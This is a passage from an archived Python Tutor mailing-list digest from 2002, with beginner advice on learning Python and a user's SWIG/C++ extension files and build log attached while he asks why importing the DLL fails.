Results=re.findall(IDs,Text) you call re.findall with a regular expression object as a first parameter which should be a string. What you want to do is Results = IDs.findall(Text) i. e. call the appropriate method on the re object you created. 2.) There are two whitespaces (a space and a newline - the latter may be inserted by your or my mail agent) between " Message-ID: <000001c1ac7f$08380e40$5b582144@aberdn01.md.comcast.net> > From: tutor-admin@python.org [mailto:tutor-admin@python.org] > On Behalf Of Ciaguy@aol.com > Sent: Saturday, February 02, 2002 12:35 PM > To: tutor@python.org > Subject: [Tutor] Newbie > I recently bought "SAMS Teach Yourself Python in 24 Hours." > Hour #2 suggests I sign up for the Tutor mailing list. How to do this? Go to http://mail.python.org/mailman/listinfo/tutor and fill out the form under Subscribing to Tutor. For a newbie to python http://www.python.org/doc/Newbies.html is a good place to visit. And a good website to begin using IDLE is http://hkn.eecs.berkeley.edu/~dyoo/python/idle_intro/ . When you save a program just add the .py extension to the name. For example, firstprogram would be firstprogram.py in python. > Background: I wish to teach myself to write programs for my > computer. I have absolutely no experience. I am probably around 10 notches > below beginner level. I am no math whiz. I am just a 60 y/o male with only > a keen desire to teach myself a programming language. Friends(?) have > suggested I start with XBasic, Liberty Basic, Visual Basic, or even C++ (Wrong!). > Will Python be a good "idiot" user friendly language for self teachers, such > as myself? Thanks for any advice or input. > Sincerely, > Wolf I am a beginner also, started out with Qbasic and felt that that was a mistake. A good over all book for me about the concepts of computer programming is "How Computer Programming Works" by Dan Appleman. And the book that I like the best for learning python so far is "The Quick Python Book" by Daryl Harms, even though it is written for people who have experience programming in another language. Randy Talbot From kalle@gnupung.net Sun Feb 3 15:10:08 2002 From: kalle@gnupung.net (Kalle Svensson) Date: Sun, 3 Feb 2002 16:10:08 +0100 Subject: [Tutor] Newbie In-Reply-To: <46.21e081ac.298d7d36@aol.com> References: <46.21e081ac.298d7d36@aol.com> Message-ID: <20020203151008.GA27583@sandra.lysator.liu.se> [Ciaguy@aol.com] > I recently bought "SAMS Teach Yourself Python in 24 Hours." Hour #2 > suggests I sign up for the Tutor mailing list. How to do this? Visit http://mail.python.org/mailman/listinfo/tutor and follow the instructions there under "Subscribing to Tutor". > Background: I wish to teach myself to write programs for my > computer. I have absolutely no experience. I am probably around 10 > notches below beginner level. I am no math whiz. I am just a 60 > y/o male with only a keen desire to teach myself a programming > language. Good! The desire to learn is required, everything on top of that (like a computer, or a mailing list like this to ask questions) is added bonus, but not necessary. [...] > Will Python be a good "idiot" user friendly language for self > teachers, such as myself? Thanks for any advice or input. Python is an excellent choise for a first language. It's remarkably clear and simple, yet it's powerful enough for writing almost any type of program. Also, there is a large and friendly user community that can be of invaluable assistance to a self teacher. Good luck to you, and don't be afraid to ask questions. The list is here for you! Peace, Kalle -- Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two! English: http://www.gnupung.net/ Svenska: http://www.lysator.liu.se/~kalle/ Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()] From m_konermann@gmx.de Sun Feb 3 16:30:53 2002 From: m_konermann@gmx.de (Keule) Date: Sun, 03 Feb 2002 17:30:53 +0100 Subject: [Tutor] C++ Extension Problems (Part1) Message-ID: <3C5D65BD.7060800@gmx.de> This is a multi-part message in MIME format. --------------030800020909010209070602 Content-Type: multipart/alternative; boundary="------------020406090507060503020205" --------------020406090507060503020205 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hi @ ALL ! I´ve created a .dll file with SWIG under windows. Now i want to use it and try to import it into the simannealfile.py modul, but pythonwin always gives the following error: File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 394, in ImportFile exec codeObj in __main__.__dict__ File "", line 1, in ? ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. Traceback (most recent call last): File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 301, in RunScript exec codeObject in __main__.__dict__ File "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py" , line 2, in ? import simannealfile ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. I checked out the examples ,delivered with SWIG, and compared them with my Settings under Visual C++. The Examples are all functioned and now i absolutly did´nt know whats going wrong and why i always get the Errormessage above. I ´ve put my files with these mail. Perhaps anyone of you could check my settings an can give me an advice what´s going wrong. Thanks a lot Greetings Marcus --------------020406090507060503020205 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi @ ALL !

I´ve created a .dll file with SWIG under windows. Now i want to use it and try to import it into the simannealfile.py modul, but pythonwin always gives the following error:

File
"C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 394, in ImportFile
    exec codeObj in __main__.__dict__
  File "<auto import>", line 1, in ?
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
Traceback (most recent call last):
  File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 301, in RunScript
    exec codeObject in __main__.__dict__
  File "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py" , line 2, in ?
    import simannealfile
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.


I checked out the examples ,delivered with SWIG, and compared them with my Settings under Visual C++. The Examples are all functioned and now i absolutly did´nt know whats going wrong and why i always get the Errormessage above. I ´ve put my files with these mail.
Perhaps anyone of you could check my settings an can give me an advice what´s going wrong.

Thanks a lot
Greetings
Marcus

--------------020406090507060503020205-- --------------030800020909010209070602 Content-Type: text/plain; name="basisfile.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="basisfile.h" #ifndef BASISFILE_H #define BASISFILE_H #include "safe_string.h" #include "variable.h" struct filetext { filetext (); ~filetext (); void clean (struct filetext *ft); void clean (); struct string text; struct string parameter_text; /* text first line number */ int tfln; /* text last line number */ int tlln; /* pointer to the variable-struct, which points to this text-struct. */ struct variablelist *variable_pointer; struct filetext *next; }; struct basisfile { basisfile (); basisfile (struct string &fn); basisfile (char *fn); ~basisfile (); void init (char *fn); void clean (); struct filetext *text; struct string *filename; int readfile (); /* write this.text and this.parameter_text to file 'filename'. writefile walks through from this to last element of next-pointer and writes first text and then parameter_text to the file. The file is opened once in mode 'mode'. Values of mode are meant to be "w"- or "a"-modes according to the fopen()-function. */ int writefile (struct string &filename, char *mode = "w"); int writefile (char *mode = "w"); int build (struct variablelist *variable); /* searches parameter_text specified in 'variable' in text of 'text'. If found, the text of 'text' is split into 'text' and 'parameter_text' and in case some text of the line is left, a new node is inserted into 'text'. In case of **text contains a splitted line, split will call itself recursively in order to search the whole line. The text-pointer of *variable is set to the node of **text containing the parametertext belonging to variable. How is parameter_text searched for? It is searched for the line variable->linenumber. variable->preseparator and variable->pastseparator gives the text left and right from the searched parameter_text. variable->position gives the number of preseparator sets which must be found before parameter_text. If variable->position is 0, variable->preseparator is ignored and it is assumed, that the parameter_text starts at the beginning of the line. If enough preseparators are found, the pastseparator will be searched for. An empty pastseparator will lead to an error, if the file is continuing after the parameter_text. A pastseparator not found, too. Return value is 0, if everything is fine, > 0 if an error occured. */ int split (struct filetext **text, struct variablelist *variable, int separators = 0); }; /* Copys x_now of variables to their parameter_texts */ int vl2pt (struct variablelist *vl); void print (struct filetext *ft); #endif --------------030800020909010209070602 Content-Type: text/plain; name="calculate.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="calculate.cpp" #include "calculate.h" #include "basisfile.h" int calculate (struct variable &result, struct variablelist *vl, struct basisfile *bf, struct string *call) { /* create basisfile with given values of variables */ /* 1. copy actual variables to parameter text parts */ if (vl2pt (vl)) { printf ("calculate ():\n "); printf ("Error while copying variables (x_now) to parameter texts.\n"); return 1; } /* 2. write basisfile */ if (bf) bf->writefile (); else { printf ("calculate ():\n No basisfile structure specified.\n"); return 1; } /* execute calculation */ call->system_call (); /* build result out of calculated data */ /* under construction !! */ FILE *ergebnis = fopen ("output.asc", "r"); if (ergebnis) fscanf(ergebnis, "%lf", &(result.dv)); else { printf ("calculate: Ausgabedatei `output.asc' nicht gefunden.\n"); return 1; } fclose (ergebnis); return 0; } int calculate (struct variable &result, struct basisfile *bf, struct string *call) { /* write basisfile */ if (bf) bf->writefile (); else { printf ("calculate ():\n No basisfile structure specified.\n"); return 1; } /* execute calculation */ call->system_call (); /* build result out of calculated data */ /* under construction !! */ FILE *ergebnis = fopen ("output.asc", "r"); if (ergebnis) fscanf(ergebnis, "%lf", &(result.dv)); else { printf ("calculate: Ausgabedatei `ergebnis.asc' nicht gefunden.\n"); return 1; } fclose (ergebnis); return 0; } --------------030800020909010209070602 Content-Type: text/plain; name="calculate.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="calculate.h" #ifndef CALCULATE_H #define CALCULATE_H #include "variable.h" /* calculates results for basisfile. If vl is parameter, the x_now's from vl will be incorporated into the basisfile. Otherwise not (this version is needed for first calculations, when x_now is still empty.) */ int calculate (struct variable &result, struct variablelist *vl, struct basisfile *bf, struct string *call); int calculate (struct variable &result, struct basisfile *bf, struct string *call); #endif --------------030800020909010209070602 Content-Type: text/plain; name="evaluate.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="evaluate.cpp" #include "evaluate.h" evaluate::evaluate () { goal = NULL; epsilon = NULL; minchange = NULL; criteria = '0'; } evaluate::~evaluate () { } int evaluate::abort (struct variable &result) { int comp; switch (criteria) { case 'e': /* epsilon-environment of goal must be reached */ printf ("evaluate::abort(): case 'e' not implemented yet.\n"); return -1; break; case 's': /* result must be smaller than goal */ comp = smaller (&result, goal); if (comp < 0) { printf ("evaluate::abort():\n"); printf (" Error while comparing result with goal.\n"); return -1; } return comp; break; case 'g': /* result must be greater than goal */ comp = greater (&result, goal); if (comp < 0) { printf ("evaluate::abort():\n"); printf (" Error while comparing result with goal.\n"); return -1; } return comp; break; case 'n': /* `minchange' has to be exceeded after `n' calculations of result */ printf ("evaluate::abort(): case 'n' not implemented yet.\n"); return -1; break; default: printf ("evaluate::abort():\n"); printf (" Unknown criteria `%c'.\n"); return -1; } return 0; } --------------030800020909010209070602 Content-Type: text/plain; name="evaluate.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="evaluate.h" #ifndef EVALUATE_H #define EVALUATE_H #include "variable.h" struct evaluate { evaluate (); ~evaluate (); /* criteria is used to choose method to determine end or success of optimization. 'e': epsilon-environment of goal must be reached 's': result must be smaller than goal 'g': result must be greater than goal 'n': `minchange' has to be exceeded after `n' calculations of result */ char criteria; /* goal of optimization. */ struct variable *goal; /* error with which goal may be achieved */ struct variable *epsilon; /* `minchange' has to be exceeded after `n' calculations of result */ struct variable *minchange; int n; int abort (struct variable &result); }; #endif --------------030800020909010209070602 Content-Type: text/plain; name="safe_string.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="safe_string.h" #ifndef SAFE_STRING_H #define SAFE_STRING_H #include #include #include //#include "variable.h" /* This straight-forward string class is intended to make use of string operations safe. Every function is meant to allocate just the memory the resulting string needs. No space is wasted and no bytes are written in not-allocated memory. To garantuee this, the 'size' of a string is the number of characters stored in the string, including the ending '\0'. */ struct string { int size; char *label; string (); string ( int s, char *l = NULL ); string ( char *s, char *l = NULL ); string ( string &s, char *l = NULL ); ~string (); void clean (); char &operator () ( int i ) { check_index ( i ); return str [i]; } string &operator= ( string &s ); /* Add a 's' to *this. (strcat) */ string &cat ( string &s ); string &cat ( char *s ); /* copies 's' to *this. (strcpy) */ string © ( string &s ); string © ( char *s ); /* makes a string (*this) out of d. Builds format-string for sprintf "%a.decimalf" by calculating a from d. */ int copy (double d, long int decimal); int copy (int i); /* copies the content of v to string. */ int copy (struct variable *v); /* builds 'cs' with str of string */ void out (char **cs); /* copies first 'n' bytes of 's' to *this. (strncpy) */ string &ncopy ( string &s, int n ); /* copies 'n' bytes starting at 'offset' of 's' to *this. (strncpy) */ string &ncopy ( string &s, int n, int offset ); /* composes string of 'first' and 'second' with 'inbetween' inbetween. E.g. 'first' containing "first", 'second' containing "second" and 'inbetween' containing "." result is "first.second". */ string &compose ( string &first, string &second, char *inbetween ); string &compose ( string &first, char *second, char *inbetween ); string &compose ( string &first, double second, char *inbetween ); string &compose ( string &first, int second, char *inbetween ); /* returns element i */ int element ( int i ); /* compares *this to 's'. Returnvalues just like strcmp. */ int compare ( struct string &s ); int compare ( char *s ); /* Works like strcspn. Citing Emacs *info*: The `strcspn' ("string complement span") function returns the length of the initial substring of STRING that consists entirely of characters that are _not_ members of the set specified by the string STOPSET. (In other words, it returns the offset of the first character in STRING that is a member of the set STOPSET.) For example, strcspn ("hello, world", " \t\n,.;!?") => 5 */ int string_complement_span ( char *stopset, int offset ); int string_complement_span ( struct string &stopset, int offset ); int string_complement_span ( char *stopset ); /* Works like strspn. Citing Emacs *info*: The `strspn' ("string span") function returns the length of the initial substring of STRING that consists entirely of characters that are members of the set specified by the string SKIPSET. The order of the characters in SKIPSET is not important. For example, strspn ("hello, world", "abcdefghijklmnopqrstuvwxyz") => 5 */ int string_span ( struct string &stopset, int offset ); int string_span ( char *stopset, int offset ); /* Searches 'needle' in *this and copies the substring beginning with 'needle' to 'result'. Return value is 1 if 'needle' is found, 0 otherwise. (strstr) */ int string_string ( struct string &result, char *needle ); int string_string ( struct string &result, struct string &needle ); int string_string ( struct string &result, struct string &needle, int offset ); /* Searches character 'c' in *this. Return value is 1 if 'c' is found, 0 otherwise. (strchr) */ int string_character ( char c ); /* In a way like strbrk. Copies the string beginning with the first found member of 'needle' in *this to result. */ void string_pointer_break ( struct string &result, char *needle ); /* Interpretes *this as a filename returns a pointer to the file, opened in mode 's'. (fopen) */ FILE *fileopen ( char *s ); /* copies the contents of 'file' to *this. */ int fileread (string &file); /* copies the contents of 'file' to *this and returns the number of lines. */ int filereadc (string &file, char count); /* writes contents of *this to the file named 'file'. Mode should be "w" or "a" according to fopen(). */ int filewrite (string &file, char *mode); /* writes *this to stream *out. */ int filewrite (FILE *out); /* stdlib's 'system' */ int system_call (); void init ( int s, char *l = NULL ); protected: char *str; void check_index ( int i ); }; void print ( struct string &s ); /* print to standard output in the following order: 'first', 'string', 'last'. The Elements printed form 'string' may be limited by 'offset' (first printed element) and 'stop' (last printed element). */ void strprint ( struct string &s, char *first = NULL, char *last = NULL ); void strprint ( struct string &s, int offset, char *first = NULL, char *last = NULL ); void strprint ( struct string &s, int offset, char stop, char *first = NULL, char *last = NULL ); #endif --------------030800020909010209070602 Content-Type: text/plain; name="simanneal.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="simanneal.h" #ifndef SIMANNEAL_H #define SIMANNEAL_H #include "variable.h" #include "safe_string.h" #include "evaluate.h" struct simanneal_varlist { simanneal_varlist (); ~simanneal_varlist (); void clean (); void clean (struct simanneal_varlist *svl); /* copies parametertext's to x_now */ int pt2xn (); struct variablelist *vl; struct simanneal_varlist *next; }; struct simulated_annealing { simulated_annealing (); simulated_annealing (struct variablelist *vlist, struct basisfile *bf, struct evaluate *eval, int tm, double tf, struct string *syscall); ~simulated_annealing (); /* list of all variables */ struct variablelist *vl; /* list of variables relevant for simulated annealing */ struct simanneal_varlist *svl; /* basisfile text */ struct basisfile *text; /* abort criteria */ struct evaluate *success; /* maximum value of tc */ int tc_max; /* 100 */ /* factor of decreasement for temperature, when tc reaches tc_max */ double t_factor; /* 0.98 */ /* system call */ struct string *call; int build_varlist (); int optimize (); int vary_simvarlist (); int take_new_result (struct variable &fnew, struct variable &fold, double t); }; int x_now_2_x_opt (struct simanneal_varlist *svl); #endif --------------030800020909010209070602 Content-Type: text/plain; name="simannealfile.dsp" Content-Transfer-Encoding: 8bit Content-Disposition: inline; filename="simannealfile.dsp" # Microsoft Developer Studio Project File - Name="simannealfile" - Package Owner=<4> # Microsoft Developer Studio Generated Build File, Format Version 6.00 # ** NICHT BEARBEITEN ** # TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 CFG=simannealfile - Win32 Debug !MESSAGE Dies ist kein gültiges Makefile. Zum Erstellen dieses Projekts mit NMAKE !MESSAGE verwenden Sie den Befehl "Makefile exportieren" und führen Sie den Befehl !MESSAGE !MESSAGE NMAKE /f "simannealfile.mak". !MESSAGE !MESSAGE Sie können beim Ausführen von NMAKE eine Konfiguration angeben !MESSAGE durch Definieren des Makros CFG in der Befehlszeile. Zum Beispiel: !MESSAGE !MESSAGE NMAKE /f "simannealfile.mak" CFG="simannealfile - Win32 Debug" !MESSAGE !MESSAGE Für die Konfiguration stehen zur Auswahl: !MESSAGE !MESSAGE "simannealfile - Win32 Release" (basierend auf "Win32 (x86) Dynamic-Link Library") !MESSAGE "simannealfile - Win32 Debug" (basierend auf "Win32 (x86) Dynamic-Link Library") !MESSAGE # Begin Project # PROP AllowPerConfigDependencies 0 # PROP Scc_ProjName "" # PROP Scc_LocalPath "" CPP=cl.exe MTL=midl.exe RSC=rc.exe !IF "$(CFG)" == "simannealfile - Win32 Release" # PROP BASE Use_MFC 0 # PROP BASE Use_Debug_Libraries 0 # PROP BASE Output_Dir "Release" # PROP BASE Intermediate_Dir "Release" # PROP BASE Target_Dir "" # PROP Use_MFC 0 # PROP Use_Debug_Libraries 0 # PROP Output_Dir "Release" # PROP Intermediate_Dir "Release" # PROP Target_Dir "" # ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /c # ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /c # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 # ADD BASE RSC /l 0x407 /d "NDEBUG" # ADD RSC /l 0x407 /d "NDEBUG" BSC32=bscmake.exe # ADD BASE BSC32 /nologo # ADD BSC32 /nologo LINK32=link.exe # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 !ELSEIF "$(CFG)" == "simannealfile - Win32 Debug" # PROP BASE Use_MFC 0 # PROP BASE Use_Debug_Libraries 1 # PROP BASE Output_Dir "Debug" # PROP BASE Intermediate_Dir "Debug" # PROP BASE Target_Dir "" # PROP Use_MFC 0 # PROP Use_Debug_Libraries 1 # PROP Output_Dir "Debug" # PROP Intermediate_Dir "Debug" # PROP Ignore_Export_Lib 0 # PROP Target_Dir "" # ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /GZ /c # ADD CPP /nologo /MTd /W3 /GX /Od /I "$(PYTHON_INCLUDE)" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /GZ /c # ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 # ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 # ADD BASE RSC /l 0x407 /d "_DEBUG" # ADD RSC /l 0x407 /d "_DEBUG" BSC32=bscmake.exe # ADD BASE BSC32 /nologo # ADD BSC32 /nologo LINK32=link.exe # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib $(PYTHON_LIB) /nologo /dll /incremental:no /machine:I386 /out:"simannealfile.dll" /libpath:"C:\Python21\libs" # SUBTRACT LINK32 /debug !ENDIF # Begin Target # Name "simannealfile - Win32 Release" # Name "simannealfile - Win32 Debug" # Begin Group "Quellcodedateien" # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" # Begin Source File SOURCE=.\basisfile.cpp # End Source File # Begin Source File SOURCE=.\calculate.cpp # End Source File # Begin Source File SOURCE=.\evaluate.cpp # End Source File # Begin Source File SOURCE=.\safe_string.cpp # End Source File # Begin Source File SOURCE=.\simannealfile.cpp # End Source File # Begin Source File SOURCE=.\simannealfile_wrap.cpp # End Source File # Begin Source File SOURCE=.\variable.cpp # End Source File # End Group # Begin Group "Header-Dateien" # PROP Default_Filter "h;hpp;hxx;hm;inl" # Begin Source File SOURCE=.\basisfile.h # End Source File # Begin Source File SOURCE=.\calculate.h # End Source File # Begin Source File SOURCE=.\evaluate.h # End Source File # Begin Source File SOURCE=.\safe_string.h # End Source File # Begin Source File SOURCE=.\simanneal.h # End Source File # Begin Source File SOURCE=.\variable.h # End Source File # End Group # Begin Group "Ressourcendateien" # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" # End Group # Begin Source File SOURCE=.\simannealfile.i !IF "$(CFG)" == "simannealfile - Win32 Release" !ELSEIF "$(CFG)" == "simannealfile - Win32 Debug" # Begin Custom Build - SWIG Routine ProjDir=. InputPath=.\simannealfile.i InputName=simannealfile "$(ProjDir)\$(InputName)_wrap.cpp" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)" echo In order to function correctly, please ensure the following environment variables are correctly set: echo PYTHON_INCLUDE: %PYTHON_INCLUDE% echo PYTHON_LIB: %PYTHON_LIB% echo on swig -python -c++ -o $(ProjDir)\$(InputName)_wrap.cpp $(InputPath) # End Custom Build !ENDIF # End Source File # End Target # End Project --------------030800020909010209070602 Content-Type: text/plain; name="simannealfile.dsw" Content-Transfer-Encoding: 8bit Content-Disposition: inline; filename="simannealfile.dsw" Microsoft Developer Studio Workspace File, Format Version 6.00 # WARNUNG: DIESE ARBEITSBEREICHSDATEI DARF NICHT BEARBEITET ODER GELÖSCHT WERDEN! ############################################################################### Project: "simannealfile"=.\simannealfile.dsp - Package Owner=<4> Package=<5> {{{ }}} Package=<4> {{{ }}} ############################################################################### Global: Package=<5> {{{ }}} Package=<3> {{{ }}} ############################################################################### --------------030800020909010209070602 Content-Type: text/plain; name="simannealfile.i" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="simannealfile.i" %module simannealfile %{ #include "simanneal.h" #include "calculate.h" #include "evaluate.h" #include "safe_string.h" #include "calculate.h" %} %rename(cleany) simanneal_varlist::clean(); %rename(calc_4args) calculate(struct variable &,struct variablelist *,struct basisfile *,struct string *); %rename(cat_string) &string::cat(string &); %rename(copy_string) &string::copy(string &); %rename(copy_char) &string::copy(char *); %rename(copy_dl) string::copy(double ,long ); %rename(copy_i) string::copy(int ); %rename(ncopy_string_i) &string::ncopy(string &,int ); %rename(compose_str_str_char) &string::compose(string &,string &,char *); %rename(compose_str_char_char) &string::compose(string &,char *,char *); %rename(compose_str_d_char) &string::compose(string &,double ,char *); %rename(compose_struct_string) string::compare(struct string &); %rename(strcompspan_chari) string::string_complement_span(char *,int ); %rename(strcompspan_struct_stringi) string::string_complement_span(struct string &,int ); %rename(stringspan_struct_stringi) string::string_span(struct string &,int ); %rename(stringstring_struct_string_char) string::string_string(struct string &,char *); %rename(stringstring_structstring_structstring) string::string_string(struct string &,struct string &); %rename(filewrite_string_char) string::filewrite(string &,char *); %rename(strprint_structstring_char_char) strprint(struct string &,char *,char *); %rename(strprint_structstring_int_char_char) strprint(struct string &,int ,char *,char *); %rename(simulated_annealing_6args) simulated_annealing::simulated_annealing(struct variablelist *,struct basisfile *,struct evaluate *,int ,double ,struct string *); %rename(string_int_char) string::string(int ,char *); %rename(string_char_char) string::string(char *,char *); %rename(string_string_char) string::string(string &,char *); %include simanneal.h %include calculate.h %include evaluate.h %include safe_string.h %include calculate.h --------------030800020909010209070602 Content-Type: text/html; name="simannealfile.plg" Content-Transfer-Encoding: 8bit Content-Disposition: inline; filename="simannealfile.plg"

Erstellungsprotokoll

--------------------Konfiguration: simannealfile - Win32 Debug--------------------

Befehlszeilen

Erstellen der temporären Datei "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP137.bat" mit Inhalten [ @echo off echo In order to function correctly, please ensure the following environment variables are correctly set: echo PYTHON_INCLUDE: %PYTHON_INCLUDE% echo PYTHON_LIB: %PYTHON_LIB% echo on swig -python -c++ -o .\simannealfile_wrap.cpp .\simannealfile.i ] Erstellen der Befehlzeile "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP137.bat" Erstellen der temporären Datei "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP138.tmp" mit Inhalten [ /nologo /MTd /W3 /GX /Od /I "c:\python21\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /Fp"Debug/simannealfile.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\basisfile.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\calculate.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\evaluate.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\safe_string.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile_wrap.cpp" "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\variable.cpp" ] Creating command line "cl.exe @C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP138.tmp" SWIG Routine In order to function correctly, please ensure the following environment variables are correctly set: PYTHON_INCLUDE: c:\python21\include PYTHON_LIB: c:\python21\libs\python21.lib C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile>swig -python -c++ -o .\simannealfile_wrap.cpp .\simannealfile.i Erstellen der temporären Datei "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP139.tmp" mit Inhalten [ kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib c:\python21\libs\python21.lib /nologo /dll /incremental:no /pdb:"Debug/simannealfile.pdb" /machine:I386 /out:"simannealfile.dll" /implib:"Debug/simannealfile.lib" /libpath:"C:\Python21\libs" .\Debug\basisfile.obj .\Debug\calculate.obj .\Debug\evaluate.obj .\Debug\safe_string.obj .\Debug\simannealfile.obj .\Debug\simannealfile_wrap.obj .\Debug\variable.obj ] Erstellen der Befehlzeile "link.exe @C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP139.tmp"

Ausgabefenster

Kompilierung läuft... basisfile.cpp calculate.cpp evaluate.cpp safe_string.cpp simannealfile.cpp simannealfile_wrap.cpp variable.cpp Linker-Vorgang läuft... Bibliothek Debug/simannealfile.lib und Objekt Debug/simannealfile.exp wird erstellt

Ergebnisse

simannealfile.dll - 0 Fehler, 0 Warnung(en)
--------------030800020909010209070602 Content-Type: text/plain; name="simannealfile.py" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="simannealfile.py" #import string,re,sys,glob,operator import simannealfile #instance1=simannealfile.simulated_annealing #print 'test=',instance1 --------------030800020909010209070602 Content-Type: text/plain; name="variable.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="variable.cpp" #include "variable.h" #include "basisfile.h" variable::variable () { sv = NULL; dprecision = 6; type = '0'; } variable::variable (char t) { init (t); } variable::variable (double d, int prec) { init (d, prec); } variable::variable (int i) { init (i); } variable::variable (struct string &s) { init (s); } variable::~variable () { } void variable::init (char t) { type = t; sv = NULL; } void variable::init (double d, int prec) { sv = NULL; dv = d; dprecision = prec; type = 'd'; } void variable::init (int i) { sv = NULL; iv = i; type = 'i'; } void variable::init (struct string &s) { sv = new struct string; sv->copy (s); type = 's'; } struct variable &variable::operator= (struct variable &v) { (*this).type = v.type; switch (v.type) { case 'd': (*this).dv = v.dv; (*this).dprecision = v.dprecision; break; case 'i': (*this).iv = v.iv; break; case 's': (*this).sv = new struct string; (*this).sv->copy (*(v.sv)); break; default: printf ("&variable::operator= (struct variable &v):\n "); printf ("Unknown type `%c'.\n", v.type); exit (1); break; } return *this; } int variable::copy (struct string &s) { char *str; s.out (&str); switch (type) { case 'd' : /* double value */ if (!sscanf(str, "%lf", &dv)) { printf ("variable::copy (struct string &s):\n "); printf ("Error while reading double value in from string:\n "); strprint (s, "`", "'\n"); return 1; } break; case 'i' : /* integer value */ if (!sscanf(str, "%d", &dv)) { printf ("variable::copy (struct string &s):\n "); printf ("Error while reading integer value in from string:\n "); strprint (s, "`", "'\n"); return 1; } break; break; case 's' : /* string value */ sv = new struct string (s); break; default : printf ("variable::copy (struct string &s):\n "); printf ("Unknown type of variable `%c'.\n", type); return 1; } return 0; } simanneal_parameter::simanneal_parameter () { dx = NULL; } simanneal_parameter::~simanneal_parameter () { if (dx) { delete dx; dx = NULL; } } variablelist::variablelist () { next = NULL; text = NULL; x_now = NULL; x_opt = NULL; x_min = NULL; x_max = NULL; sap = NULL; } variablelist::~variablelist () { clean (); } void variablelist::clean () { clean (this); } void variablelist::clean (struct variablelist *vl) { if (vl) { if (vl->next) { clean (vl->next); vl->next = NULL; } preseparator.clean (); pastseparator.clean (); if (x_opt) { delete x_opt; x_opt = NULL; } if 